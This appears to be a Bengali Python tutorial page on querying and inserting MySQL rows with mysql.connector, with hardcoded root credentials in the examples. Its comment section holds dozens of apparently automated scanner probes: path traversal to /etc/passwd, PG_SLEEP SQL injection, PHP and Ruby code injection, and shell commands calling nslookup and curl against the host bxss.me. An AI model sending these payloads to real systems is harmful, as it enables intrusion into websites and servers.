https://powerinai.com/

ডাটা কোয়েরি করা, প্রোগ্রামের বর্ণনা, ডাটা ইনসার্ট করা

পাইথন প্রোগ্রামিং

ডাটা কোয়েরি করা, প্রোগ্রামের বর্ণনা, ডাটা ইনসার্ট করা ডাটা কোয়েরি করা, প্রোগ্রামের বর্ণনা, ডাটা ইনসার্ট করা
 

ডাটা কোয়েরি করা


পাইথন প্রোগ্রাম ব্যবহার করে মাইএসকিউএল ডাটাবেজের ডাটা কোয়েরি করার জন্য প্রথমে mysql.connector প্যাকেজকে ইমপোর্ট করতে হবে। অতঃপর ইউজার নেম, পাসওয়ার্ড, হোস্ট আইপি অ্যাড্রেস, ডাটাবেজ নেম প্রভৃতি দেয়ার মাধ্যমে ডাটাবেজে কানেক্ট করতে হবে। ডাটাবেজে কোয়েরি এক্সিকিউট করার জন্য একটি কার্সর তৈরি করতে হবে। উক্ত কার্সরে যে কোয়েরি দেয়া হবে সেই কোয়েরি অনুযায়ী ডাটা ডাটাবেজ হতে রিট্রিভ করা হবে। ডাটাবেজের সাথে কানেক্ট হওয়া থেকে শুরু করে ডাটা রিট্রিভ করা পর্যন্ত বিভিন্ন কার্য সম্পাদন সুংয়ষ.পড়হহবপঃড়ৎ করে থাকে। মাইএসকিউএল ডাটাবেজ থেকে ডাটা কোয়েরি করার একটি প্রোগ্রাম নিচে দেয়া হলো।


importmysql.connector

conn=mysql.connector.connect(

user='root',

password='123456',

host='127.0.0.1',

database='test')

cur=conn.cursor()

query=("select * from student")

cur.execute(query)

for (std_id,std_name,std_address) in cur:

print('Student Id:',std_id,'Stuent

     Name:',std_name,'Addresss:',std_address)

cur.close()

conn.close()


প্রোগ্রামের বর্ণনা


১.importmysql.connector স্টেটমেন্ট ব্যবহার করে ডাটাবেজে কানেক্ট করার জন্য প্যাকেজকে প্রোগ্রামে ইমপোর্ট করা হয়।

২.conn=mysql.connector.connect(user='root',password='123456',host='127.0.0.1',database='test')

mysql.connector.connect স্টেটমেন্ট ব্যবহার করে মাইএসকিউএল ডাটাবেজের সাথে কানেক্টিভিটি তৈরি করা হয়। এই স্টেটমেন্টে ডাটাবেজ ইউজার নেম, পাসওয়ার্ড, হোস্ট আইপি অ্যাড্রেস এবং ডাটাবেজের নাম দিতে হয়।

৩. cur=conn.cursor() স্টেটমেন্ট ব্যবহার করে এসকিউএল স্টেটমেন্ট এক্সিকিউট করার জন্য একটি কার্সর তৈরি করা হয়।

৪. query=("select * from student") স্টেটমেন্ট ব্যবহার করে কার্সর দিয়ে এক্সিকিউট করার এসকিউএল স্টেটমেন্ট দেয়া হয়।

৫. cur.execute(query) কার্সর এক্সিকিউট করার জন্য উক্ত স্টেটমেন্ট ব্যবহার করা হয়।

৬. for (std_id,std_name,std_address) in cur:

print('Student Id:',std_id,'Stuent Name:',std_name,'Addresss:',std_address)

for লুপ ব্যবহার করে ডাটাবেজ হতে প্রাপ্ত ডাটাসমূহ স্ক্রিনে প্রদর্শন করা হয়।

৭. cur.close() স্টেটমেন্ট ব্যবহার করে কার্সর ক্লোজ করা হয়।

৮. conn.close() স্টেটমেন্ট ব্যবহার করে ডাটাবেজের সাথে কানেকশন ক্লোজ করা হয়।


উপরোক্ত পাইথন প্রোগ্রামটি এক্সিকিউট করা হলে নিচের মতো আউটপুট স্ক্রিনে পদর্শিত হবে।



ডাটা ইনসার্ট করা


পাইথন প্রোগ্রাম ব্যবহার করে মাইএসকিউএল ডাটাবেজে ডাটা ইনসার্ট করা যায়। এজন্য কার্সরের মাধ্যমে ডাটা ইনসার্ট করার এসকিউএল স্টেটমেন্ট এক্সিকিউট করতে হবে। ডাটা ইনসার্ট করার পাইথন প্রোগ্রাম নিচে  দেয়া হলো


importmysql.connector

conn=mysql.connector.connect(

user='root',

password='123456',

host='127.0.0.1',

database='test')

cur=conn.cursor()

query=("insert into student(std_id,std_name,std_address) values(104,'Mohammad Hasan','Khulna')")

cur.execute(query)

cur.close()

conn.commit()

conn.close()


উপরোক্ত প্রোগ্রামটি এক্সিকিউট করার পর মাইএসকিউএল ক্লায়েন্ট টুল ব্যবহার করে student টেবিলে কোয়েরি করা হলে দেখা যাবে যে নতুন রেকর্ডটি প্রদর্শিত হচ্ছে।


select * from student;


মতামত এবং পরামর্শ

আপনাদের মতামত এবং পরামর্শ ইমেইলের মাধ্যমে জানাতে পারেন।

ইমেইল অ্যাড্রেস : mrn_bd@yahoo.com








৭৭ টি মন্তব্য

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৫:২২

    555

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৫:২৯

    1

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৫:৩১

    1

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৫:৪৬

    555

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৫:৪৮

    555

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৫:৫০

    555

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৫:৫০

    555

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:০৫

    1

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:০৭

    1

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:১৮

    1Bnqi2r4RrO

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:২১

    ${9999295+9999881}

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:২১

    1

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:২২

    )

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:২৩

    !(()&&!|*|*|

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:২৩

    ^(#$!@#$)(()))******

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:২৪

    response.write(9740018*9555584)

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:২৫

    '+response.write(9740018*9555584)+'

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:২৫

    1

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:২৫

    "+response.write(9740018*9555584)+"

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:২৬

    qB9teN2d

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:২৭

    QDGSBoQC: wv2jbaHo

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:২৭

    1

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:২৮

    1<esi:include src="http://bxss.me/rpb.png"/>

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:২৯

    http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:২৯

    1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:২৯

    Http://bxss.me/t/fit.txt

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩০

    1

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩০

    http://bxss.me/t/fit.txt%3F.jpg

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩০

    /etc/shells

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩১

    ../../../../../../../../../../../../../../etc/shells

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩১

    c:/windows/win.ini

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩১

    bxss.me

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩২

    ../../../../../../../../../../../../../../etc/passwd

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩৩

    ../../../../../../../../../../../../../../windows/win.ini

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩৩

    '.gethostbyname(lc('hitqv'.'jhupzfttb249a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(90).chr(121).chr(83).'

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩৩

    file:///etc/passwd

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩৩

    ".gethostbyname(lc("hituw"."fhwpjavpb4403.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(77).chr(116).chr(87)."

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩৩

    1

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩৪

    gethostbyname(lc('hitda'.'eqsffauzcddc7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(83).chr(120).chr(81)

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩৪

    ../1

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩৪

    "+"A".concat(70-3).concat(22*4).concat(102).concat(86).concat(118).concat(83)+(require"socket" Socket.gethostbyname("hitxz"+"omaocnyj03f8c.bxss.me.")[3].to_s)+"

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩৫

    '+'A'.concat(70-3).concat(22*4).concat(118).concat(73).concat(117).concat(77)+(require'socket' Socket.gethostbyname('hitdk'+'gjacdhsl7cf95.bxss.me.')[3].to_s)+'

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩৫

    'A'.concat(70-3).concat(22*4).concat(114).concat(75).concat(122).concat(89)+(require'socket' Socket.gethostbyname('hitwo'+'gzkyzynl828e2.bxss.me.')[3].to_s)

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩৬

    )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩৮

    '"()

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩৯

    1'&&sleep(27*1000)*gtwahl&&'

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩৯

    '"

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩৯

    1"&&sleep(27*1000)*uzxyxz&&"

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৩৯

    <!--

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪০

    1'||sleep(27*1000)*tfawbo||'

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪০

    1"||sleep(27*1000)*vqxczu||"

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৩

    ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৩

    ';print(md5(31337));$a='

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৩

    ";print(md5(31337));$a="

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৪

    ${@print(md5(31337))}

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৪

    ${@print(md5(31337))}\

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৪

    echo gyvmkw$()\ crmqix\nz^xyu||a #' &echo gyvmkw$()\ crmqix\nz^xyu||a #|" &echo gyvmkw$()\ crmqix\nz^xyu||a #

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৪

    '.print(md5(31337)).'

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৪

    xfs.bxss.me

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৪

    &echo jzboth$()\ sdwixf\nz^xyu||a #' &echo jzboth$()\ sdwixf\nz^xyu||a #|" &echo jzboth$()\ sdwixf\nz^xyu||a #

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৫

    1&echo ysgyxg$()\ vxubpl\nz^xyu||a #' &echo ysgyxg$()\ vxubpl\nz^xyu||a #|" &echo ysgyxg$()\ vxubpl\nz^xyu||a #

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৫

    |echo gkljks$()\ dubgqt\nz^xyu||a #' |echo gkljks$()\ dubgqt\nz^xyu||a #|" |echo gkljks$()\ dubgqt\nz^xyu||a #

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৫

    1|echo jvypcd$()\ iksyif\nz^xyu||a #' |echo jvypcd$()\ iksyif\nz^xyu||a #|" |echo jvypcd$()\ iksyif\nz^xyu||a #

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৬

    (nslookup -q=cname hitnzdojcrcnje1023.bxss.me||curl hitnzdojcrcnje1023.bxss.me))

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৬

    $(nslookup -q=cname hitxlwpbivdbn011b4.bxss.me||curl hitxlwpbivdbn011b4.bxss.me)

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৬

    &nslookup -q=cname hitafjsbiaybs9e9e7.bxss.me&'\"`0&nslookup -q=cname hitafjsbiaybs9e9e7.bxss.me&`'

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৭

    &(nslookup -q=cname hitfouzvzdojca28bb.bxss.me||curl hitfouzvzdojca28bb.bxss.me)&'\"`0&(nslookup -q=cname hitfouzvzdojca28bb.bxss.me||curl hitfouzvzdojca28bb.bxss.me)&`'

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৮

    |(nslookup -q=cname hitclscqsqknkdd17a.bxss.me||curl hitclscqsqknkdd17a.bxss.me)

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৮

    `(nslookup -q=cname hitquibvalxdo3daf2.bxss.me||curl hitquibvalxdo3daf2.bxss.me)`

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৮

    ;(nslookup -q=cname hitvtkuhpntpeafe72.bxss.me||curl hitvtkuhpntpeafe72.bxss.me)|(nslookup -q=cname hitvtkuhpntpeafe72.bxss.me||curl hitvtkuhpntpeafe72.bxss.me)&(nslookup -q=cname hitvtkuhpntpeafe72.bxss.me||curl hitvtkuhpntpeafe72.bxss.me)

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৯

    |(nslookup${IFS}-q${IFS}cname${IFS}hitxsqcwpulwjd5c0b.bxss.me||curl${IFS}hitxsqcwpulwjd5c0b.bxss.me)

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৬:৪৯

    &(nslookup${IFS}-q${IFS}cname${IFS}hitqvqrhriioi87db7.bxss.me||curl${IFS}hitqvqrhriioi87db7.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitqvqrhriioi87db7.bxss.me||curl${IFS}hitqvqrhriioi87db7.bxss.me)&`'

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৭:৩১

    1

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৭:৩৬

    1

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৭:৫৬

    555oiNv65TS' OR 424=(SELECT 424 FROM PG_SLEEP(15))--

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৮:০২

    555PgeY4cfM') OR 324=(SELECT 324 FROM PG_SLEEP(15))--

  • oKGujyoz

    oKGujyoz

    ২০২৪-০৯-০২ ০২:০৮:০৮

    555fOdvfrE5')) OR 31=(SELECT 31 FROM PG_SLEEP(15))--



মতামত দিন

আপনি লগ ইন অবস্থায় নেই।
আপনার মতামতটি দেওয়ার জন্য লগ ইন করুন। যদি রেজিষ্ট্রেশন করা না থাকে প্রথমে রেজিষ্ট্রেশন করুন।







পাসওয়ার্ড ভুলে গেছেন? পুনরায় রিসেট করুন






রিভিউ

আপনি লগ ইন অবস্থায় নেই।
আপনার রিভিউ দেওয়ার জন্য লগ ইন করুন। যদি রেজিষ্ট্রেশন করা না থাকে প্রথমে রেজিষ্ট্রেশন করুন।